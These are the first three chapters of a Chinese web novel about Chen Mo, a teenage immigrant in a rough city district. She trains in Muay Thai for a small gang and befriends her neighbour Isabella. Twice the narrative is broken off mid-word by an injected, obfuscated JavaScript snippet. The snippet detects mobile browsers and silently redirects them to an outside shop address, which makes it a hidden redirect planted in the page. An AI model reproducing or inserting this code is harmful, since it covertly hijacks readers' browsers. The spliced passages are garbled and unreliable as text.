《釉色》 1. 第 1 章 洛根市,八月。 这座曾经辉煌过的工业老城,在西海岸的秋风里散发着廉价油炸食品的气味。 第六街区的霓虹灯管坏了一半,到了晚上就明灭不定地闪着,照得街面上那些东倒西歪的流浪汉忽明忽暗。这里是整座城市最便宜的地段,房租大概只够在市中心租一个停车位,换来的是三天两头的帮派火并,隔几条街就能听见的警笛声,以及楼道里永远散不去的霉味和大麻味。 陈漠就住在这里。 她今年十六岁,在第六街区唯一的那所公立高中挂了个名,至于去不去上课,教务处那个秃顶的中年男人大概已经放弃了往她家打电话。她父亲陈国栋在城南的中餐外卖店打工,一周六天,从早上十点站到晚上十一点,手上的烫伤疤叠着烫伤疤。她母亲周秀兰在洗衣店做零工,兼着给几个街区的华人老太太做小时工打扫卫生。 一家三口是八年前过来的。当年陈国栋被一个远房亲戚忽悠,说这边遍地黄金,借了一屁股债买了机票办了手续,结果落地才发现黄金是别人的,他们能捡着的只有渣。那个远房亲戚把他们扔在一个地下隔间里就消失了,欠的债利滚利,到现在都没还清。陈国栋不是没想过回去,可回国的机票钱他掏不出来,脸面也丢干净了,就这么一年一年地熬着。 在这样的地方长大,陈漠没长歪才是怪事。 她从小学就开始打架。一开始是因为口音被嘲笑,后来是因为瘦,因为穿的衣服旧,因为午餐盒里永远只有前一天晚上剩的炒饭。她那时候瘦得像根竹竿,被打得鼻血糊了满脸也不哭,抄起手边能摸到的任何东西就往对方脑袋上砸。那股不要命的狠劲让很多人发怵,也让一些人记住了她。 十五岁那年,陈漠的身高已经窜到了一米七八,在同龄女生里鹤立鸡群。长期的打架和街头追逐给了她一副好身板,肩膀宽,腰线窄,小臂和小腿上覆着一层薄而结实的肌肉。她的长相也不差:五官轮廓分明,眉眼间带着几分混血感的深邃,鼻梁高挺。可右眉骨上那道浅白的旧疤,配上嘴角终年不散的冷淡,硬是让她整张脸笼上了一层生人勿近的凶悍气。 今年年初,她加入了红蚁。 红蚁是第六街区和第九街区交界地带的一个小帮派,说出去名头不算响,但在这几条街上足够横着走。他们什么都做一点,收保护费,倒卖偷来的零件,在地下拳场里押注。陈漠是被一个叫丁哥的人领进去的,丁哥在红蚁里算个不大不小的头目,手底下管着几个半大不小的孩子,专门负责在街区之间跑腿传话,盯梢放风。 丁哥第一次注意到她,是在一家便利店的监控死角,他看着这个高个儿女孩一拳一拳地把一个比她壮两圈的男生揍到蜷在地上求饶,旁边的几个小子愣是没一个敢上前。那种干净利落又带着本能直觉的打法,让这个在街头浸淫了半辈子的老混子眯起了眼睛。 他走过去,递了张纸巾让她擦手上的血。 陈漠接过来,面无表情地擦了擦指关节上的破皮,抬头看着他,眼神里没有畏惧也没有讨好,就是那么平平淡淡地看了一眼,像是在问。 你有事? 丁哥笑了一声,从兜里掏出一张皱巴巴的名片,塞进她手里,说了句“有空来玩玩”,转身走了。 三天后陈漠就找上了门。 红蚁在第六街区有一处据点,是一家早就倒闭的修车厂改建的,从外面看破破烂烂,铁皮卷帘门锈迹斑斑,里面却别有洞天。后半截的修理车间被改成了一个简易的拳击训练场,地上铺着垫子,天花板上吊着两个沙袋,角落里堆着几副拳套和护具。 陈漠在这里见到了颂蓬。 颂蓬是泰国人,四十出头的年纪,个子不高,皮肤黝黑,脸上永远挂着一种似笑非笑的表情,两只耳朵因为常年的泰拳训练变形得厉害。他在红蚁里没有正式的职位,但所有人都对他客客气气的,包括丁哥,因为这个貌不惊人的中年男人曾经在曼谷的地下拳场里打过整整十五年的黑拳,赢过也输过,膝盖和肋骨折过又长好,直到身体实在撑不住了,才辗转流落到这座城市的角落,在红蚁的训练场里当半个教练,换一口饭吃。 颂蓬第一次看到陈漠打沙袋的时候,常年眯着的眼睛睁大了一瞬。他盯着她看了一会儿,然后慢悠悠地走过去,用带着浓重口音的英语说了一句:“你以前练过?” 陈漠摇头。 颂蓬围着她转了一圈,伸手捏了捏她的肩膀和手臂,又弯腰敲了敲她的小腿胫骨。最后他直起身,拍了拍手上的灰,对旁边的丁哥说了一句话,用的是泰语,陈漠大概能猜到意思。 这姑娘是块料。 从那天起,颂蓬开始教她泰拳。 没有基础训练,没有循序渐进那一套,上来就是最原始,最凶狠,专门为地下拳场打磨出来的格斗技巧。颂蓬的教法粗暴直接,演示一遍,然后让她做,做不好就拿竹条抽小腿。他教她用胫骨去扫对方的腿;教她如何用肘尖去砸;教她如何在近身缠斗的时候用膝盖顶进对方的肋骨间隙。 每天放学后,陈漠就来这个满是机油味的旧车库里训练,从下午四点一直练到晚上八九点。沙袋被打得砰砰作响,她的指关节和小腿胫骨上全是青紫和擦伤,旧的没好又叠上新的。颂蓬从来不问她的意愿,她也从来不喊疼。两个人之间没有师徒的名分,没有多余的交流。 几个月下来,陈漠的身手已经完全变了一个样子。她原本的野路子打架加上颂蓬教的泰拳技术,形成了一种极其凶悍的风格,不讲规矩,不留余地,每一拳都冲着要害去。 颂蓬有时候会安排她和红蚁里的其他年轻人对练,那些自以为有两下子的小子在陈漠手下基本上撑不过三分钟。她出手太快,力量也重得不像一个十六岁女孩该有的,一记扫踢能踢得人站不稳,一记肘击砸在颧骨上能让对方当场见血。 时间久了,红蚁里就开始有一种说法,那个姓陈的小姑娘,天生就该吃打拳这碗饭。 而颂蓬只是听着这些议论,笑而不语。 真正的拳手不是在家里练出来的。沙袋不会还手,护具不会杀人。陈漠还需要一个地方,一个真正充满血腥气和死亡威胁的地方,去验证她到底是不是那块料。 那个地方就在城市边缘的地下拳场。 颂蓬已经和丁哥商量过了。下个月的第一个周五,他会带她去。 没有事先通知她,也没问她愿不愿意。在这个世界里,没有人会问你想不想,愿不愿意,机会来了你接住就活,接不住就死,就这么简单。 陈漠当然不知道这些。此刻的她正靠在训练场的墙角喝水,湿透的头发贴在额头上,指关节上缠着的旧绷带已经被血渗透了一小块。她仰头灌了大半瓶凉水,抹了把嘴,目光漫不经心地扫过墙上的挂钟。 橘黄色的指针指向晚上八点十八分。 离陈国栋下班到家还有将近三个小时,足够她冲个澡,遮住身上的新伤,然后在父母进门前躺到床上装睡。 她拎起搭在椅子上的外套,冲颂蓬扬了扬下巴算作告别,推开铁皮门,沿着第六街区那条坑坑洼洼的人行道往家的方向走。 路过二十四小时营业的韩裔便利店时,她停了一下,从兜里摸出一把皱巴巴的零钱数了数,最后只买了一个最便宜的三明治,让店员帮忙热了一下,三口两口吃完,把包装纸团成球丢进路边的垃圾桶。 还有两条街到家。 她加快了脚步。 第六街区的夜晚从来不安静。街灯昏黄,照着路边一栋挨一栋的老式木结构房子,这些房子大多建于上个世纪六七十年代,样式几乎一模一样。两层楼,门廊前一小块草坪,有的草坪修剪得整整齐齐,有的则荒草丛生,堆着废弃的自行车轮胎和空啤酒罐。这些房子在洛根市的经济版图上属于被遗忘的角落,租金便宜,相应的代价是水管老化,电路经常跳闸,暖气在冬天时好时坏。 不过住在这里的人也不太在意这些。 陈漠家的房子是七 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陈漠从便利店出来没走多远,就听见右手边传来一声口哨。 “哟,Chen!今天回来得早啊。” 是一个坐在自家门廊台阶上的黑人中年女人,体形庞大,穿着一条花得刺眼的家居裙,手里夹着一根细长的薄荷烟。 陈漠偏头看了她一眼,点了点头,算是回应。 说话的是丹妮丝,在这条街上住了快二十年,算得上是第六街区的原住民之一。她在一家超市做收银员,养着三个孩子和两条斗牛犬,嗓门大得隔两条街都能听见,心肠不坏,时不时会给陈漠家送一些超市快过期的打折面包。 “你爸还没回来吧?我刚看他那家店还亮着灯呢。”丹妮丝吐了口烟圈,眯着眼睛说。她说的是英语,尾音拖得长长的。 “快了,”陈漠用英语简短地回了一句,“他十一点收工。” “那家店早晚把你爸累死,”丹妮丝摇了摇头,“你跟他说,让他换个活干。” 陈漠扯了扯嘴角,露出一个算不上笑的表情。 她知道丹妮丝是好意,可这种好意解决不了任何问题。陈国栋换不了工作,因为语言不通,因为没有合法身份以外的任何资质,因为他需要每一分能赚到的钱。这座城市里像他这样的人太多了,每个人都在被生活追着跑,没有资格停下来挑三拣四。 又走了几步,左手边一栋浅蓝色墙皮剥落的房子前面,两个坐在折叠椅上的拉美裔男人正在喝啤酒。看到陈漠走过来,其中一个年轻些的冲她挥了挥手,用带着西语腔的英语喊了一句:“嘿,Chen!听说你在红蚁那边练拳?怎么样,什么时候让我们见识见识?” 陈漠脚步没停,偏头扫了他一眼,用西班牙语淡淡地说了句:“No tienes nada mejor que hacer?” 男人愣了一秒,然后哈哈大笑起来,拍了拍旁边同伴的肩膀,叽里咕噜地说了一串西语,大概是在翻译陈漠的话。他的同伴也跟着笑了,举起啤酒瓶朝陈漠遥遥敬了一下。 这附近住了不少拉美裔,陈漠跟这些人打交道多了,日常的西班牙语能听懂七八成,说也能说一些简单的句子,口音被颂蓬吐槽过一回,说她讲西语带着股唐人街味。 不过这不重要,重要的是在第六街区,你不需要说一口漂亮的语言,你只需要让别人知道你听得懂他们在说什么,这就够了。 她还零零碎碎地会一点韩语,从便利店老板娘那里学来的,主要是骂人的话和一些买东西用的短句。泰语也会几句,颂蓬训练的时候偶尔冒出来,一开始她听不懂,后来慢慢就知道了“快一点”“再来”“蠢货”这些词分别是什么意思。 在第六街区长大,语言是在街头巷尾混出来的。 每一种语言背后都是一种生存工具,多会一个词,可能就少挨一次欺负,多听懂一句话,可能就能避开一个麻烦。陈漠在这方面的天赋不差,或者说,她的求生本能足够强。 2. 第 2 章 街灯在头顶明灭不定地闪烁,其中一盏大概是接触不良,隔几秒就发出嗞嗞声。 陈漠绕过地上一个被踩扁的易拉罐,目光扫过街对面被火烧过一半至今没人修缮的废弃房屋,窗户用木板钉死了,木板上被人喷了涂鸦,花花绿绿的字母叠着字母。 快到家了。 陈漠家的房子在这条街的中段,外墙漆成一种看不出原本颜色的灰黄色,门廊的木头栏杆有一根已经断了,陈国栋用铁丝缠了几圈凑合着固定住,说等有空了再修。草坪上的草长得有点高,夹杂着几株不知名的野草,但在第六街区这已经算是体面的了,至少没有在院子里堆杂物。 她正要从口袋里摸钥匙。 隔壁那栋白墙蓝窗的房子,前门被推开了。 门开得又快又猛,紧接着一道金色的影子从门缝里窜了出来,四条腿在台阶上只蹬了两下就落了地,以一种毫无保留的速度朝陈漠的方向冲了过来。 一条金毛。 体形不小,毛色是深秋落叶一样的金棕,两只耳朵随着奔跑的动作在脑袋两侧上下翻飞,舌头从嘴角歪出来,粉红色的,哈着热气。 陈漠的表情,在那一瞬间,变了。 嘴角弯了起来,眼睛也弯了起来,她笑了,不是礼貌敷衍象征性的扯嘴角,是真正意义上的笑,眼睛里有光,嘴角有弧度,整个人身上那种生人勿近的凶悍气压一下子消散了大半。 “Biscuit。”她低声念了它的名字,蹲了下去。 金毛,也就是Biscuit,冲到她面前,在最后一刻急刹车,前爪在地上滑了一小段,整个身体开始疯狂地扭动。它的尾巴摇得像直升机螺旋桨,屁股带动整个后半身都在左右摇摆,嘴巴大张着,舌头伸得老长,脑袋往陈漠的手掌上蹭。 陈漠的手落在了金毛的头顶上。 她的手指修长,指关节上缠着的绷带上还带着训练留下的血渍,在摸狗的时候动作温柔得不像话。她先从狗脑袋的正中间往后捋,一直捋到两只耳朵中间,拇指在耳根那个位置揉了几下。 Biscuit发出了满足的哼哼声,往她身上贴,脑袋往她怀里拱,尾巴摇得更欢了。 “你今天乖不乖,嗯?”陈漠的声音放得很低很轻,用的是中文,语气里带着一种平时绝对听不到的温和,“有没有又去翻垃圾桶?上次吐了一地板,还记得吗?” Biscuit当然听不懂她在说什么,但它知道这个声音是好的,这个气味是熟悉的,这个人的手是温柔的。它伸出舌头,在陈漠的手腕上舔了一下,尾巴尖扫过她小腿胫骨上的旧伤,那个位置下午训练的时候被沙袋磨破了一层皮,现在隔着裤子隐隐发疼。 她蹲在那里,低着头,专注地揉着金毛的耳朵,表情松弛,眉眼间的冷淡和凶悍像是被这条狗的体温融化了一样,一时间竟然显出了几分这个年纪该有的少年气。 “Biscuit!Get back here!” 一个女声从隔壁那栋房子的门廊方向传来,脚步声急促地响了起来。 陈漠抬起头。 从隔壁门廊里追出来一个年轻女人。她看起来大概十七八岁,中等身高,身材曲线分明,宽肩,细腰,丰满的臀部把牛仔裤撑得很紧。她的皮肤是那种温暖的蜜棕色,在路灯下泛着柔和的光泽,一头浓密的深棕色卷发披散在肩上,发量大得惊人。 她的脸是典型的拉美裔长相,饱满的额头,浓密而带着自然弧度的眉毛,眼窝深邃,瞳仁是近乎黑色的深棕,鼻梁不算很高但线条柔和,嘴唇丰满,下唇比上唇略厚一点,带着一种天然的多情意味,让人看一眼就觉得这张脸应该配上一个明亮的笑容。但此刻她的表情是又好气又好笑的那种,一边甩着手上沾的水珠一边跑过来,脚上趿拉着一双粉色的人字拖,在地面上啪嗒啪嗒地响。 陈漠认得她。 伊莎贝拉·洛佩兹,十八岁,和陈漠在同一所公立高中。虽然严格来说她们在学校里没有什么交集,伊莎贝拉是十二年级,即将毕业,陈漠是十年级,而且经常翘课。但毕竟是住隔壁的邻居,两栋房子之间只隔着一条窄窄的车道和几丛半死不活的灌木,低头不见抬头见,有时候倒垃圾碰上了会点个头,偶尔在街角的便利店遇到也会随口聊两句。 她们的交情不算深,也绝对不陌生。伊莎贝拉是那种性格开朗的人,跟谁都能聊上几句,笑起来声音又大又脆,完全没有在第六街区生活久了的人身上常见的那种警惕和防备。陈漠有时候觉得她不太像第六街区的人,更像是一个不小心掉进这个泥潭里,却还没有沾上泥的异类。 “我就洗个碗的功夫,这家伙又跑出来了!”伊莎贝拉跑到近前,双手叉着腰喘了口气,胸脯起伏着,蜜棕色的皮肤上泛着一层薄汗。她身上穿着一件宽松的白T恤,袖子卷到了肩膀,领口松松垮垮的,露出锁骨下方一小片皮肤,上面沾着几滴洗碗时溅上去的水珠。 稍作停顿,她的目光落到了陈漠身上。 表情出现了一瞬间的停顿。她眨了眨眼睛,深棕色的瞳仁里闪过一丝意外,大概是因为她从来没见过陈漠这个样子。她们做了快七年的邻居,在学校和街角便利店打过无数次照面,但她印象中的陈漠永远是那副冷淡拒人千里之外的样子,双手插兜,肩膀微微前倾,右眉骨上那道疤在灯光的衬托下显得格外扎眼,嘴角永远抿着,视线扫过来的时候不带任何多余的情绪,让人下意识地想保持距离。 可现在蹲在地上揉狗的这个女孩,笑着的,温柔的,嘴里还说着哄狗的话,这跟伊莎贝拉认知里的那个陈漠简直判若两人。 “Wow,”伊莎贝拉忍不住发出了一个感叹词,她的英语带着很淡的西班牙语口音,舌头在发某些音节的时候会轻微地打卷,听起来有一种特殊的韵味,“So you do know how to smile。” 所以你确实会笑。 陈漠抬起头看了她一眼,脸上的笑容收敛了大半。 “她平时不这样,”伊莎贝拉低头看着还在疯狂摇尾巴的Biscuit,“她对我都没这么热情,我一回家她最多就摇两下尾巴,然后就去叼她的玩具球了。结果一看到你就像看到了失散多年的亲妈一样,这像话吗?” “Maybe she just has good taste。”陈漠说了一句,语气平平淡淡的,声音比平时说话的时候稍微轻一点,她的手指还在Biscuit的耳后揉着,金毛舒服得眼睛都眯起来了,喉咙里发出咕噜咕噜的声音。 “Good taste?”伊莎贝拉笑着摇头,“Okay,I‘ll take that。虽然你是在夸我的狗,但我感觉你在拐着弯夸你自己。” 陈漠没接话。 伊莎贝拉的笑容稍微收敛了一点,她歪着头打量了陈漠几秒,目光从她的脸扫到她缠着绷带的指关节,又扫到她小腿,最后又回到她的脸上。 “你刚回来?”伊莎贝拉用闲聊的语气问了一句,同时弯下腰拍了拍自己的膝盖,试图召唤Biscuit回来。 但Biscuit完全不理她,屁股冲着她的方向摇了摇尾巴尖,脑袋贴在陈漠的掌心里。 “嗯。”陈漠应了一声。 “训练?”伊莎贝拉的视线又在她指关节的绷带上停了一秒。 陈漠的手指动作顿了一下。她抬起眼睛看着伊莎贝拉,目光比刚才稍微锐利了一点点,像那天在便利店门口看着丁哥一样。 你在试探什么? 伊莎贝拉显然读懂了目光里的意味,没有退缩,也没有表现出被吓到的样子。她笑了笑,耸了耸肩,这个动作让宽松的白T恤从一边肩膀上滑下来一点,露出一截肩头。 “别那么看着我,”伊莎贝拉说,语气轻松得像是在聊天气,“我哥哥以前也在红蚁那边混过,我见过那种绷带的缠法。你缠得跟他一模一样,把掌骨那个位置裹得特别紧。” 陈漠沉默了一秒,低头看了一眼自己手指上的绷带。确实,这是颂蓬教她的缠法,据说是泰国地下拳场里用了几十年的老方法,拳峰和掌骨压得特别紧,打人的时候能减少骨裂的风险。 她“嗯”了一声,目光重新落到Bi ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523275|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' scuit身上。 伊莎贝拉站在旁边没有走。晚风吹过来,那头卷发吹得微微晃动,她抬起一只手把头发往耳后拢了拢,手腕上戴着的几条花花绿绿的编织手绳在路灯下闪了一下。那些手绳一看就是自己编的,颜色搭配得没什么章法,但莫名地好看。 “You know what,”她忽然开口,“我上个月在学校看到你和两个女生在停车场打架。” “你一个人打她们两个,那个黑头发的被你一膝盖顶在肚子上,当场就跪下去了。还有一个红头发的,想从后面抓你头发,你转身一肘砸在她锁骨上,惨叫声我隔着半个停车场都听见了。” 陈漠的表情没有任何变化,声音很平,“不是我的错。” “我知道,”伊莎贝拉立刻接话,甚至还笑了一下,“那两个贱人活该。她们在女厕所里堵过我一次,往我书包上泼可乐,因为我在历史课上比她们先回答了老师的提问。”她耸了耸肩,“后来她们大概觉得欺负你更有挑战性,所以就去找你了。” 陈漠确实记得那件事。两个女生的其中一个,也就是红头发那个,家里在第九街区开了间修车铺,哥哥是当地一个小帮派的成员,在学校里一贯横行霸道。那天她们在停车场堵她,她一辆二手电动车的轮胎被割破了,对方大概觉得她会哭着求饶。 但她没有。 那场架从开始到结束不超过三分钟,陈漠甚至没有用拳头,她只用膝盖和肘。颂蓬说过,在真正的街头冲突里,拳头是最容易受伤的部位,而膝盖和肘是人体最硬的武器,用它去打对方最软的部位,肋骨,腹部,锁骨,这叫效率。 两个女生一个断了锁骨,一个内脏挫伤。 “我只是想跟你说,”伊莎贝拉说着蹲了下来,一只手搭在Biscuit的背上,“那件事之后,她们再也没敢来找我的麻烦。所以……thank you。虽然你打她们不是为了我,但结果是一样的。” 伊莎贝拉说这话的时候,表情是坦然的,没有那种刻意的讨好或者不必要的感激,就像是在陈述一个简单的事实。 陈漠看了伊莎贝拉几秒,点了一下头。 “好了,过来。”伊莎贝拉站起来,这次用上了命令的语气,弯腰拍了拍Biscuit的后背,“回家了,让你的干妈回去休息,你没看到人家手上还缠着绷带吗?” Biscuit不情不愿地哼哼了两声,尾巴摇了摇,没有动。 “Biscuit。”陈漠低声叫了它的名字,手从它耳朵上拿开,往伊莎贝拉的方向推了一下它的后背。 Biscuit这才站起来,慢悠悠地晃到伊莎贝拉身边,尾巴还在有一下没一下地扫着。 伊莎贝拉直起身,牵着Biscuit的项圈,另一只手把滑下肩膀的T恤领子拉了回来。她转身往家门口走了两步,又回过头来。 “Hey, Chen。”她叫了一声。 陈漠正要站起来,听到声音抬起头。 伊莎贝拉站在门廊台阶的第二级上,白T恤被风轻轻掀起一角,蜜棕色的皮肤在门口昏黄的感应灯下显得格外柔和。她一手牵着狗,一手把散落到眼前的一缕卷发往后撩,嘴角挂着带着梨涡的笑容。 “Goodnight。” 陈漠站直了身体,滑到手臂上的外套往上甩了甩,重新搭到肩膀上。 她看了伊莎贝拉一眼,嘴唇动了动。 “Night。” 说完她转身,往自己家的方向走了几步,从口袋里摸出钥匙。门廊那盏灯坏了,她摸黑找到了锁孔,钥匙插进去转了两圈,门开了。 屋内一片漆黑,飘着一股淡淡的洗衣液味道,周秀兰今天大概洗了不少衣服。陈漠回头看了一眼,隔壁的门已经关上了,只有一楼窗子里透出暖黄色的灯光,窗帘上隐约映出一个人影,弯腰在放什么东西,大概是Biscuit的食盆。 她站在自家门口,嘴角残留的弧度持续了两秒,然后慢慢消失,重新被惯常的冷淡表情取代。 门在身后关上,发出一声沉闷的轻响。 3. 第 3 章 陈漠在黑暗里站了几秒,眼睛逐渐适应了屋内的光线,伸手摸到墙上的开关,一盏瓦数很低的顶灯亮了起来,昏黄的光勉强照亮了这个不大的空间。 客厅的摆设和她七年前第一次踏进这栋房子时没什么太大变化。一张布面已经磨得起球的二手沙发,是陈国栋从一个准备搬家的墨西哥邻居那里花二十块买来的。一张玻璃茶几,玻璃下面压着一张她小学五年级时拿过的数学竞赛奖状。电视柜上摆着一台显像管电视,屏幕又小又鼓,但还能看,陈国栋偶尔收工回来会打开看一会儿深夜的体育新闻,声音调到最小,怕吵醒周秀兰。 茶几上压着两张二十块的纸币,用一只玻璃杯镇着,杯子旁边还放着一张对折的纸条。 陈漠走过去拿起来,纸条上是周秀兰歪歪扭扭的中文字迹,用的是从洗衣店带回来的便签纸,圆珠笔的油墨有些断断续续。 “饭在锅里,自己热。这四十块是这个星期的饭钱,别全花在便利店,去街口那家菜市场买点菜。妈。” 四十块。陈漠看了那两张纸币一眼,拿起来折好塞进口袋里。周秀兰大概是从洗衣店结了这几天的工钱,留了一部分给她。这四十块在第六街区够干什么的呢,也就够她一个人吃上几顿像样的饭,或者去便利店买上十几天的临期三明治。至于买菜的叮嘱,周秀兰每个星期都写,她每个星期都看,然后该吃三明治还是吃三明治。 她掀开厨房的纱罩,锅里确实有饭。一碟青椒炒肉,一碟番茄炒蛋,都用保鲜膜盖着,还是温的。周秀兰大概是比她早回来不到一个小时,做好饭又出门了,大概是去给哪个华人老太太打扫卫生。那些老太太很多都一个人住,子女成了家搬去了别的州,她们守着空荡荡的房子,最大的消遣就是打电话把小时工叫来,一边看着对方擦地板一边絮絮叨叨地说话。 陈漠盛了半碗饭,把菜拨了一些在碗里,端着碗走回了客厅,蜷在沙发上,一口一口地往嘴里扒饭。电视没开,整个屋子里只有筷子碰碗的声响和她偶尔咀嚼的声音。 青椒有点炒过了,周秀兰的手艺就这样,在这边买不到国内那种薄皮的青椒,超市里卖的都是那种厚皮大青椒,炒出来总带着一股生涩的甜。但她还是一口一口吃完了,连盘底的菜汤都用饭拌了拌。颂蓬的训练消耗太大,她每天从旧车库里出来的时候,胃袋空得像被人拧干了的海绵。 吃完饭她把碗洗了,剩菜重新用保鲜膜封好放回锅里,又用锅盖盖严实了。拎着外套上了楼,经过父母房间的时候脚步轻了下来。 陈国栋和周秀兰的房间在走廊尽头,门虚掩着。里面的家具比客厅还少,一张床,一个衣柜,床头柜上摞着几本从二手书店买来的中文杂志,都是过期的,封面上的日期是去年甚至前年的。周秀兰每个月会去书店翻一翻,专挑最便宜的买,买回来翻来覆去地看,看到纸张都起了毛边也不舍得扔。 浴室在走廊的另一头,说是浴室,其实就是一间逼仄的隔间,马桶,洗手台,一个带浴帘的淋浴头。热水器时好时坏,今天运气不错,打开水龙头等了不到一分钟,热水就上来了。陈漠脱了衣服,站到花洒底下,热水浇在肩膀上,顺着后背往下淌。 浴室里没有镜子。周秀兰以前在洗手台上放过一面巴掌大的折叠镜,后来碎了一次,碎玻璃划伤了陈国栋的脚底,她就再也没买过。陈漠用毛巾擦身体的时候,低着头能看到自己小腹和大腿上那些新旧交叠的淤青。有些是沙袋打的,有些是对练的时候被踢的,颜色从青紫到暗黄。 她对这些伤的态度很平淡,涂药,缠绷带,遮住,不让父母看见。十六岁的女生该在意的东西,皮肤光不光滑,身上有没有疤,这些在她这里排不上号。在意这些东西是需要资本的,需要有人在旁边看,需要有人在乎。陈漠不需要。 洗完澡,她用毛巾把湿头发裹起来,换了件干净的T恤和运动短裤回到自己房间。她房间不大,窗户朝向街道,能看到街对面那栋被火烧了一半的废弃房屋的屋顶。书桌上堆着几本教科书,基本都落了灰。角落里放着一个旧的帆布包,里面装着她训练用的装备,一副拳套,几卷绷带,一瓶颂蓬给她的跌打药酒。 她坐到床边,解开手指上湿透的绷带,重新拿出新的绷带,一圈一圈地缠上。这个动作她已经熟练到不需要用眼睛看,手指自动找到正确的角度和力度,缠完左手换右手,最后把绷带的尾端塞进夹层里,倒在床上,闭上了眼睛。 街道上传来了几声犬吠,远处的警笛声由远及近又远去。 陈漠听着这些声音,呼吸渐渐平了下来。 她在算账。 红蚁给底下跑腿的小弟开固定工钱,她和另外几个半大不小的孩子一样,一周能拿一百五十块现金,直接交到她手上,报税,社保统统不用,纯黑。但真正来钱的不是这个。丁哥偶尔会给她一些私活,让她去送东西,从第六街区送到第九街区的指定地点,有时候是一个信封,有时候是一个不起眼的牛皮纸袋。她从来不问里面是什么,送到了就有人接手,点个头就算完事,丁哥第二天会塞几张现金给她,有时候五十,有时候八十,有一次给了一百二。 丁哥在红蚁里管的就是跑腿传话的这条线,从第六街区到第九街区。为什么选半大不小的孩子,因为不容易被注意。陈漠又比其他孩子更合适,她看起来不像干这个的,至少不像干得好的。那些在街头混久了的,身上会带着一股味儿,警察闻得出来,对手帮派也闻得出来。但陈漠往人堆里一站,就是个表情冷淡的高个女学生,最多让人觉得不好惹,不会让人觉得她在替帮派运货。 颂蓬私底下跟她说过一句,丁哥用你,是因为你跟你爸长得不像。你爸那张脸一看就是老实人,你也老实,不过是另一种老实,让人看不透的那种。 陈漠没接话。她不在乎丁哥为什么用她,她只在乎那些现金。她把这些钱分成三份,一份悄悄塞进周秀兰放杂物的那个铁盒子里,盒子藏在厨房橱柜的最上层,周秀兰隔一段时间打开会发现多了一两张钞票,以为是自己记错了数目,念叨几句也就过去了。一份藏在床垫下面,存着,她有一个目标数字,还差不少。最后一份放在口袋里,日常花用,吃饭,买绷带,偶尔去便利店买一瓶运动饮料补充训练消耗的热量。 她爸可能知道她在帮红蚁做事,也可能不知道。陈漠觉得是知道的。有一次她半夜从据点回来,陈国栋还没睡,一个人坐在客厅里没开灯,面前放着一杯早就凉透的茶。她推门进来的时候,陈国栋抬头看了她一眼,嘴唇动了动,好像想说什么,最后只说了句“把门锁好”,起身回房间了。 陈漠躺在床上,盯着天花板,想起陈国栋的背影,四十五不到的人,后背已经微微佝偻了。中餐外卖店的厨房她去过一次,逼仄的后厨热得像蒸笼,抽油烟机轰轰隆隆地响,油锅里的油烟呛得人睁不开眼。陈国栋就站在那个角落里,一手握着炒勺,一手端着炒锅,一站就是十几个小时。端炒锅的那只手上全是烫伤,旧的疤还没褪干净,新的水泡又起来了。 存钱的目标就这么来的。她知道自己能靠什么赚钱,不是成绩,虽然她成绩确实不差,但这个城市里比她成绩好的人多了去了,那些人能拿到奖学金去读大学,可她连申请表格长什么样都没研究过,因为她不是在这个国家出生的。她往前的人生道路比其他人窄得多,窄到就像那几条破旧的街区,稍微一不注意就会走进某个死胡同里再也出不来。而一个十六岁的非法移民,她手里能够得着的路,只有这一条。 她不知道自己还能在这个城市待多久。但不管待多久,她得让自己有价值,有让自己往前走的能力,否则迟早被这个街区吞掉。 颂蓬说过,第六街区是个泥潭,踩进去就拔不出脚。陈漠想的是,如果迟早要踩进去,那就踩到底,踩稳了,一步一步走过去。 她在脑子里把这些数字又过了一遍,床垫下的积蓄加上这个月丁哥给的私活钱,离她的第一个目标还差两千多块。不算远,也不算近,取决于丁哥那边有没有新的活。 目光从天花板移开,又看了一眼墙上的挂钟。橘黄色的指针指向十点五十分。 陈国栋快回来了。 陈漠翻了个身,被子拉到肩膀上,闭上眼睛。 几分钟后,楼下传来钥匙插进锁孔的声音,门开了,又关上了。脚步声很轻,是陈国栋特有的,一种长年累月怕吵醒家人形成的习惯。厨房里响起碗碟碰撞声,纱罩掀开又盖上的声音,紧接着是筷子碰到碗沿的声音。 陈国栋在吃饭。 这些声音断断续续地响了几分钟,安静下来,接着是厨房水龙头哗哗的水声。又过了一会儿,走廊地板上响起脚步声,走到她房门口时停了一秒,大概是陈国栋在听她有没有睡着,脚步声继续往前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523276|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了走廊尽头的主卧。 门掩上了。 陈漠在黑暗里睁着眼睛,等走廊尽头的声音完全消失之后,才闭上了眼睛。 这一觉睡得很沉。 第二天早上七点整,手机闹钟响了。陈漠伸手按掉,从床上坐起来,头发乱得像鸟窝一样的,她晃了晃脑袋,赤脚踩在地板上。 八月初,正值夏季。清晨的阳光从窗户透进来,照在书桌上那几本落了灰的教科书上,明晃晃的,不像秋天那样柔和。这大概是今天第一个好兆头,在这个阴天比晴天多的城市里,出太阳的日子总是让人心情好一些。 她下楼的时候,客厅里空荡荡的。 茶几上已经换了新的东西,昨天的两张二十元钞票被她拿走之后,周秀兰或者陈国栋又在玻璃杯下面压了什么。她走过去一看,是五块钱现金和一张字条,字迹和昨晚那张一样,但更潦草,显然是匆忙写的。 “冰箱里有面包,牛奶还有两天过期,先喝了。今天周三,晚上妈晚回来,你爸也是。把门口那袋垃圾带出去。——妈。” 